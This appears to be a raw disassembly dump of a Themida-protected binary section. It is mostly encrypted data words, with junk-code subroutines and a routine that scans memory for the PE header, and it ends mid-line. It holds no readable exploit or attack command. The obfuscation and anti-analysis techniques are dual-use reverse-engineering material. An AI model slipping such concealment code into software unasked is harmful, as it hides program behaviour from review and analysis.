ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5C8347 endp ; --------------------------------------------------------------------------- db 74h dd 0BC2C9971h, 5050784Eh, 0AFC1BF52h, 310F2EE9h, 5AFB8B66h dd 24048958h, 13ED9509h, 6A07E4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 15C35545h, 0E997A1D9h, 0Eh dd 0F07F8777h, 0C9CD08D6h, 8BA21102h, 0BDBFC5C1h, 6A4F0041h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 4047D164h, 68D0Fh, 0BD8B0000h, 7E40A65h dd 2F81B58Bh, 858D07E4h, 7E8606Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0D3C35545h, 554949B5h, 26199589h dd 0C08307E4h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 40BF5414h, 5024DFBAh dd 60605250h, 6162B461h, 6660310Fh, 880FD18Bh, 0 ; --------------------------------------------------------------------------- popa pop edx pop eax mov [esp], eax push edx mov [ebp+7E4232Dh], ebx pop edi push 0 mov esi, [ebp+7E41C59h] mov di, 7503h push 0 push 0 push edi call sub_5C846F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C846F proc near ; CODE XREF: Themida_:005C8467p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5C846F endp ; --------------------------------------------------------------------------- db 35h dd 0A8A0F51h, 0E9000000h, 5, 54B5844Eh, 7195FF19h, 0F07E424h dd 9D8DFBBFh, 7E7D64Bh, 25859501h, 0D3FF07E4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h, 6CEED62Eh dd 0A13AAF93h, 0F5DBA2BEh, 0B985FF0Dh, 6A07E420h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 2A98C357h, 68CFBE66h, 92FE9h, 0E800h, 815D0000h, 0E86077EDh dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 12E7E1CEh, 53639528h, 0DE81663Fh, 0BD81F110h dd 7E42AD5h, 7D0h, 112860Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 48B4B9C3h dd 89DBC3E2h, 0E41965BDh, 859D8B07h, 8907E423h, 0E403EDB5h dd 0E38107h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 0C612C350h, 89FC4420h dd 0BF88B66h, 8D850FDBh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9FA4C353h dd 81BD83FBh, 7E85Eh, 31840Fh, 0BD8B0000h, 7E4138Dh, 67E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 38BCB610h, 15BD8B55h, 0C707E419h, 0E85E8185h dd 107h, 858D0100h, 0E907E41Ah, 2Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 1C35646h, 5E8185C7h, 7E8h dd 0B58B0000h, 7E4035Dh, 23859D8Dh, 238107E4h, 0FFFFFEFFh dd 5696BF66h, 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F7FFC355h, 0EFC43F2Ah dd 9ABCF87Ah, 12E8h, 9C301800h, 0A020025Eh, 0E8159E20h dd 975DA3B8h, 89F9F49Fh, 0E405F98Dh, 0C3F65E07h, 7C840F04h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 284C357h, 0BD8B33BEh, 7E420D9h dd 2D9195FFh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 718B72C3h, 3FF26266h, 0E9A766DCh dd 13h, 4B415853h, 6DDD4636h, 4C6C6167h, 1694C375h, 909B098Eh dd 580BE50h, 8190283Ah, 7ABBB0F6h, 45858961h, 0E907E402h dd 4D8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 60C35747h, 0B975A2E3h, 1989B58Bh, 8B0F07E4h, 6 dd 272D9589h, 0B007E4h, 11C68166h, 6A70E644h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 62DFC355h, 8971E4F1h, 0E420C5BDh, 0D8B60F07h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 55C35646h, 73BE6650h dd 890F40h, 0BA000000h, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0FFC35343h, 0F8A91FF9h, 6AC38BC5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 5168C353h, 0FEEF9BEh, 4E8C164h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0CDC35040h, 7AD95CD2h, 281FF282h dd 5830FB8h, 0BF000000h, 6D6B0E96h, 0CE9h, 3DA8F00h, 0B7AB8D45h dd 9BC47B21h, 0E2F766EAh, 0DD1B58Bh, 0D82B07E4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h, 0E8760D89h dd 50ECD303h, 0A6DBBE66h, 81241C89h, 596854E7h, 0D5B5FF3Ch dd 6A07E42Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0F03C356h, 1047A1E9h, 0E8369AF9h dd 8, 6922452h, 738EEEAh, 2181B58Bh, 8B5F07E4h, 4195FFF2h dd 0F807E40Eh, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 27042AC3h, 0C9FC04C9h, 1EDBD23h dd 4BBE07E4h, 0E67AF9D4h, 0F78170h, 0E4720C09h, 50006A71h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0B9928945h, 14E9CA93h, 72000000h, 0BE9C90DBh, 304330A5h dd 46D92011h, 295F51CEh, 665CC9EFh, 613CF88Bh, 2BE830Fh dd 9D310000h, 7E422A5h, 6AD8B60Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC5C353h dd 81CE0C48h, 0B2D93FF6h, 6BA5Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A3BF81C3h dd 51DC005Ah, 601B4D5Dh, 22A99D31h, 815207E4h, 9C8939C2h dd 8B615F11h, 12E9C3h, 255F0000h, 76FDE95h, 9B40D7F9h dd 0DE0E43A6h, 0B88C6892h, 6A04E8C1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AA93C350h dd 0E1995C92h, 7EDF2B8h, 23D9BD8Bh, 0F76607E4h, 50006AE2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4770F80Eh, 9E94D39h, 0CE000000h, 0F34D25C7h, 4C216EA3h dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 756C78C3h, 0E858A1E3h, 7, 0E551147Eh, 5E7C9921h dd 880FD82Bh, 1A4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 19C35141h, 1861DBE9h, 9A036174h, 0B9F7B70Fh dd 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0B2C35646h, 0C1831Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 3C35343h, 860FD93Bh, 134h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h, 666181E7h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4BF216C3h, 99CE1E09h, 0C1F68D53h, 0DE840F04h dd 0BE000000h, 6224C471h, 2D9195FFh, 6A07E4h, 3E856h dword_5C8B28 dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h ; DATA XREF: Themida_:00583CB4o dd 89535AC3h, 0E4237D9Dh, 6A5B5E07h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EF66C356h dd 61D5470Ch, 2B540192h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0AED16D4Fh, 61D49B9Eh dd 3DF56DE3h, 834h, 57860Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 850FB9C3h dd 6, 2C31BD8Bh, 31E907E4h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F04CC352h dd 958967DDh, 7E42465h, 57D860BFh, 0BFC08B4Bh, 67501B41h dd 0D88BC38Bh, 10E860h, 87A70000h, 0BAC08EAFh, 846B33AAh dd 0ABA67370h, 58F93996h, 0C0EA8166h, 85C761EDh, 7E41399h dd 1F39CF3Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0DBC35646h, 0C08B16A8h, 0BD81FA8Bh, 7E42AD5h, 7D0h dd 30850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 1DBD8AC3h, 31918D01h, 853107E4h dd 7E42165h, 2AD585FFh, 0B5FF07E4h, 7E42AD5h, 3840F60h dd 66000000h, 0CB8BC28Bh, 4195FF61h, 6A07E40Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 288C352h, 6692A19Ah, 7BA9D781h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E71B250Dh dd 8AE3083Ch, 13E89Eh, 0C1410000h, 3EE04623h, 42C89BB2h dd 0D53E0D41h, 91C95AC2h, 60BE66E9h, 0BD895E3Bh, 7E4258Dh dd 197DB52Bh, 0B70F07E4h, 9BD8BF3h, 0E907E40Bh, 0Fh, 0CB6F128Ch dd 63770545h, 948FC1F5h, 0E81A2E02h, 0Dh, 0E04AE2F9h, 19A5D1D2h dd 9B5B8A8Eh, 758D89F3h, 0F07E424h, 0C8Ah, 59950900h, 8B07E42Ah dd 0E42319B5h, 8B665F07h, 57006AF8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 3641522h, 0E41C7DB5h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0CE81663Dh, 6A330Fh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9BE513C3h dd 892C7495h, 3957BF66h, 0A1958B60h, 6007E421h, 14A5B589h dd 6E907E4h, 6000000h, 0DA2582DFh, 0CE96121h, 59000000h dd 6C64FC31h, 6D3BA0C1h, 61F5EF05h, 6870Fh, 0B58B0000h dd 7E415D9h, 0FFF6F4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 1317C8B6h, 0FCBFA89Ah dd 0ED958B60h, 0B907E41Bh, 0FFFFFFFEh, 6820Fh, 0B5310000h dd 7E407D5h, 1999958Bh, 8D2107E4h, 7E43591h, 0BEC46EBBh dd 658D2134h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 3BE4C353h, 0F037CB91h dd 0C1D0A59Eh, 35918D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 7E7113C3h, 0E306DDC9h dd 858946E8h, 7E41B7Dh, 0F01E183h, 2585h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1B78B48h, 77EA9987h, 8D8BD9DEh, 7E40965h, 1E183FCh dd 6850Fh, 0CE810000h, 7C6CF282h, 6A6061h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 853425C3h dd 84A50AF1h, 6ADBD29h, 816607E4h, 0B947C0DBh, 0FFFFFFFEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h dd 6CB7907Ch, 0F5BD894Ah, 2107E42Dh, 0E41AC58Dh, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 66CF4993h, 215DD8BEh, 0E406FD8Dh, 958B5107h, 7E42B4Dh dd 25CA805Ah, 1AC58D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 48B4B9C3h, 0E3DBC3E2h dd 0F8A39D2Fh, 0F01E183h, 0B85h, 8DB58900h, 0B807E406h dd 179BCEEBh, 6FD8D8Bh, 0BF6607E4h, 0E183714Dh, 0B850F01h dd 0E9000000h, 6, 5BDB5BCAh, 6061E1EAh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h, 0D761808Ch dd 12E938h, 0C1720000h, 157E25EEh, 0B9188CC8h, 23CCE8B9h dd 0CF5C2823h, 0FFFFFEB9h, 88C0FFFh, 57000000h, 17F18D89h dd 215E07E4h, 0E405558Dh, 11E907h, 99940000h, 0D499129h dd 0F88E97B6h, 0EB9789F0h, 8B7E837Eh, 998D21DFh, 0BF07E413h dd 5EC71947h, 5558D8Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 66E1D5C3h, 0F084D681h dd 0F01E183h, 2485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 81F73941h, 0DA8930D6h dd 998D8B0Ah, 6A07E413h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 1BEC353h, 0E41D25BDh dd 1E18307h, 1C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 6061A0C3h, 1A59D89h dd 0FEB907E4h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 303BC350h, 8D219D99h dd 7E40B69h, 23DDB58Bh, 8D2107E4h, 7E42385h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 33C35242h, 0E9900E1Dh dd 0B58968DCh, 7E4278Dh, 0B698D8Bh, 5E807E4h, 91000000h dd 0DB84E4B2h, 0BE9h, 0EB6E8D00h, 0F1635387h, 456AE418h dd 0B5BD895Eh, 8307E41Ch, 850F01E1h, 24h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A8C35242h, 7BE0A9D7h dd 0D18B81B5h, 23858D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0CE9D3C3h, 89000000h dd 919B619Ch, 55FFBBABh, 8369E1F8h, 850F01E1h, 1, 6A6061F9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0EE55C356h, 3FA7F371h, 0D585C7F8h, 0D007E42Ah dd 6A000007h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0A27C356h, 6A611EB5h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E241C357h, 19C5950Bh, 0BD2307E4h, 7E43195h, 9D6107EBh dd 0E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0E54A2930h, 6A506Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E938B0C3h dd 75E9C18Bh, 60000000h, 0A8D88C66h, 35840F04h, 6A000000h dd 9DB5FF01h, 8D07E401h, 0E7B0A785h, 89D0FF07h, 0E40FA585h dd 0C1FE8B07h, 680CEFh, 6A200400h, 57026A00h, 1000D68h dd 0A595FF00h, 0E907E40Fh, 32h, 2C2D85C6h, 685607E4h, 0A9C530DFh dd 2141B5FFh, 858D07E4h, 7E7B0A7h, 8589D0FFh, 7E40B5Dh dd 1CE5858Dh, 6A5007E4h, 56056A20h dd 0B5D95FFh, 0C36107E4h, 0BA06E0C1h, 0F0115000h, 0EA81h dd 0C283F000h, 95958914h, 8307E41Bh, 858D14EAh, 7E86F4Eh dd 35FF6450h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_5C936C: ; CODE XREF: Themida_:005C938Ej cmp word ptr [eax], 5A4Dh jnz loc_5C9389 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_5C9393 loc_5C9389: ; CODE XREF: Themida_:005C9371j sub eax, 1000h jmp loc_5C936C ; --------------------------------------------------------------------------- loc_5C9393: ; CODE XREF: Themida_:005C9383j mov ecx, eax mov [ebp+7E415DDh], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+7E422E9h], edx mov edx, [eax+50h] mov [ebp+7E41C55h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+7E40929h], edx add edx, [eax+8] mov [ebp+7E40075h], edx pop large dword ptr fs:0 add esp, 4 jmp loc_5C93EC ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_5C93EC: ; CODE XREF: Themida_:005C93D4j cmp dword ptr [ebp+7E4015Dh], 0 jz loc_5C941D mov byte ptr [ebp+7E42C2Dh], 47h push 0D49AA7D2h push dword ptr [ebp+7E42141h] lea eax, [ebp+7E7B0A7h] call eax push 0 call eax mov [ebp+7E41615h], eax loc_5C941D: ; CODE XREF: Themida_:005C93F3j mov edx, ebx pusha pusha jo loc_5C942A movsx esi, ax loc_5C942A: ; CODE XREF: Themida_:005C9421j xor si, 0A3E6h popa mov di, bx mov eax, eax push 0 push eax call sub_5C9440 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9440 proc near ; CODE XREF: Themida_:005C9438p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C9440 endp ; --------------------------------------------------------------------------- push es jle short near ptr loc_5C94BF+4 lodsd xor eax, 70D0031h mov esi, [ebp+7E41D55h] mov esi, 67DCB738h cmp dword ptr [ebp+7E413F1h], 0 jnz short loc_5C9476 cmp dword ptr [ebp+7E40935h], 0 jz short loc_5C948F loc_5C9476: ; CODE XREF: Themida_:005C946Bj push eax push ebx mov eax, eax mov eax, 438h mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E9F0h] call ebx ; _iob pop ebx pop eax loc_5C948F: ; CODE XREF: Themida_:005C9474j cmp dword ptr [ebp+7E40935h], 0 jz short loc_5C94AF push eax push ebx mov eax, 438h mov [ebp+7E41479h], eax lea ebx, [ebp+7E6E6DFh] call ebx ; _iob pop ebx pop eax loc_5C94AF: ; CODE XREF: Themida_:005C9496j push 0 push eax call sub_5C94BA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C94BA proc near ; CODE XREF: Themida_:005C94B2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax loc_5C94BF: ; CODE XREF: Themida_:005C9451j add [esp-4+arg_4], 17h inc eax push eax retn sub_5C94BA endp ; --------------------------------------------------------------------------- adc [edi], ah add eax, 11B50B91h add al, 0E4h pop es push 0 push ebx call sub_5C94DF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C94DF proc near ; CODE XREF: Themida_:005C94D7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5C94DF endp ; --------------------------------------------------------------------------- db 0D6h dd 7C91323Ah, 0E87F2F95h, 8BC08BFCh, 0E43585BDh, 866E807h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 5FE744C3h, 0AFA6AFEFh, 0F558D77h, 68Bh, 8DBD8B00h dd 0F07E422h, 68Eh, 0B9BD2300h, 8B07E400h, 0E42FE1B5h dd 59858907h, 8907E40Ah, 0E40B9D8Dh, 812E807h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0F755ACC3h, 0B00BE280h, 11E97Bh, 0EFE20000h, 0D18ABC08h dd 0E0CEE74Dh, 655F3D36h, 89D9CCBEh, 0E406A585h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 66FCB674h, 32FEE181h, 7ABE8h, 89B96600h, 118589B4h dd 6A07E418h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0A350C350h, 0CDACD735h, 0E8C759C5h dd 778h, 341C681h, 858949E2h, 7E40919h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0CAC35242h, 0B479E519h dd 0FE01A88h, 684h, 29B58B00h, 0E807E41Ch, 738h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 54C35646h, 659D895Bh dd 107E41Eh, 0E414DDBDh, 89F78B07h, 0E422FD85h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0DCE4A58h, 0DCE5FA75h, 6DEE804h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B1F70CC3h dd 0AA5B9B83h, 0F18B668Ah, 89FBBF0Fh, 0E4158185h, 5F506007h dd 0E8615A50h, 6A4h, 68F0Fh, 85890000h, 7E42009h, 1E158589h dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0E8F43CC3h, 0Fh, 0AEDBA021h, 77F1C840h, 0F670412Fh dd 6621A1FBh, 0E85FF18Bh, 658h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 35C35747h, 14428D92h, 0E4ED9185h dd 0AED8589h, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E87B05C3h, 60Ch, 4B60BE66h, 2D58589h dd 10E907E4h, 0CE000000h, 6F24F55Ch, 6F8FA2EDh, 501D756Eh dd 0E8277426h, 5E8h, 14E8h, 0E5921D00h, 0A5825F24h, 12ECB50Ch dd 3CC75F8Fh, 0C2CC59E8h, 1810FEBh, 0F9000000h, 13E85Fh dd 6B040000h, 37227A7h, 8F515E1Dh, 0A14728A4h, 0E901D35h dd 19D896Dh, 5907E427h, 1D498589h, 0BF0F07E4h, 59AE8F1h dd 66600000h, 631DB81h, 4718589h, 896107E4h, 0E41E8D85h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0C3420220h, 0E8EE8A7Bh, 560h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h, 7C8C66Ah dd 446DA8B8h, 9D29606Bh, 7E4093Dh, 68B0Fh, 0BD230000h dd 7E42AA5h, 91858961h, 8907E422h, 0E4009D85h, 2DB50107h dd 0E807E427h, 510h, 811AB966h, 1D5D8589h, 830F07E4h, 5 dd 4DAC4EBFh, 4F6E80Ah, 95290000h, 7E42AEDh, 2BF18589h dd 0BE907E4h, 9F000000h, 0F191216Dh, 990C497Eh, 0D5E83C31h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 8677C357h, 0E948896Bh, 0Fh, 8169C1C7h dd 0BECB9293h, 8099DD5Ah, 89D7F634h, 0E4063585h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0CC8A7923h, 6860FC5h, 8B000000h, 0E405798Dh, 0FAB70F07h dd 467E8h, 0C98D8B00h, 8907E421h, 0E40E1585h, 13E907h dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h dd 2900B00Dh, 0E4014595h, 0D8B60F07h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 15C35343h, 7D69B573h, 0B2BE6641h dd 6BA49h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 9B8F2EC3h, 5800F6F7h, 66BDAAE4h dd 8B1AC1BEh, 0AE8C3h, 6CE10000h, 207A87CCh, 0EB251DE8h dd 0C15EF78Bh, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0CCB5ECC3h, 27CF5B1Eh, 0E058D89h dd 0F76607E4h, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 20E41E7Fh, 58B12F32h dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 54E1DDC3h, 0FB40F795h, 0B150539Bh, 241C89D9h dd 0D2C98166h, 9195FF7Dh, 3107E42Dh, 0E4158D95h, 6A5B07h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0E60903C3h, 0BD89A678h, 7E42FF5h, 1C0D958Dh, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 2B1CCCC3h, 8936A1D6h, 0BD01501Ah, 7E422BDh, 442895Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h dd 87F8CB84h, 8B6625D6h, 49958DF0h, 6A07E403h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 8E34C352h, 89FCF17Fh, 0E43315BDh, 6A1A8907h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 375C357h, 68D0FCEh, 1000000h, 0E42D59B5h, 4428907h dd 8EE98166h, 0C5958DEFh, 6A07E425h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A524C357h dd 1A893D3Eh, 89F98B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0DBE790C3h, 95BD8B56h dd 5907E420h, 30498D2Bh, 958D07E4h, 7E42179h, 2A79B58Bh dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 5BC35646h, 3C4DE441h, 0F5A263AEh, 2899529h, 428907E4h dd 3DBD8904h, 0E907E424h, 0Dh, 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h dd 0D958D9Fh, 8B07E424h, 0E42B39BDh, 6A1A8907h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 5AEFC355h, 79798034h, 5DBD0190h, 8907E42Bh, 6A0442h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 45F6E2C3h, 518D8902h, 8B07E433h, 0E41E01BDh, 0C800F07h dd 0F000000h, 689h, 0ADBD8B00h, 8D07E42Ah, 0E40F2995h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 958921C4h, 7E40F19h, 0F1FCD7B9h, 6A1A893Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 471AC351h, 186A7943h, 2365BD8Bh, 428907E4h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0D18166D9h, 958D4D95h, 7E403F1h, 25ED8529h dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 40C35646h, 6650D8FEh, 895EF88Bh, 6A0442h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 631886C3h, 0DC4C2564h, 8529A8FDh, 7E414FDh dd 0AD958Dh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0E72D8CC3h, 0A14473EEh, 57027214h dd 0A1D9D89h, 895F07E4h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 4289718Dh, 0A7C18104h dd 0E97AE6A2h, 0D3h, 0D6BF0F60h, 61CFB70Fh, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 4A351C3h, 0E19B58Bh, 800F07E4h, 6, 1915B509h, 6A07E4h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0E9A4D1C3h, 6, 9B9F84E8h, 0CE96627h, 96000000h dd 191AB31Dh, 1AB4C3D5h, 6AA97B74h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D124E793h dd 0FF272987h, 0E40E6D95h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 5C6DF03Ch dd 318D09F9h, 0C307E42Ch, 6E9h, 91CA5700h, 8A69A364h, 6DBEC5h dd 0C08B282Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0CCC35747h, 83FBB70Fh, 0E413F1BDh, 9750007h, 935BD83h dd 740007E4h, 8B535019h, 438B8C0h, 85890000h, 7E40EEDh dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h dd 438B853h, 85890000h, 7E40EEDh, 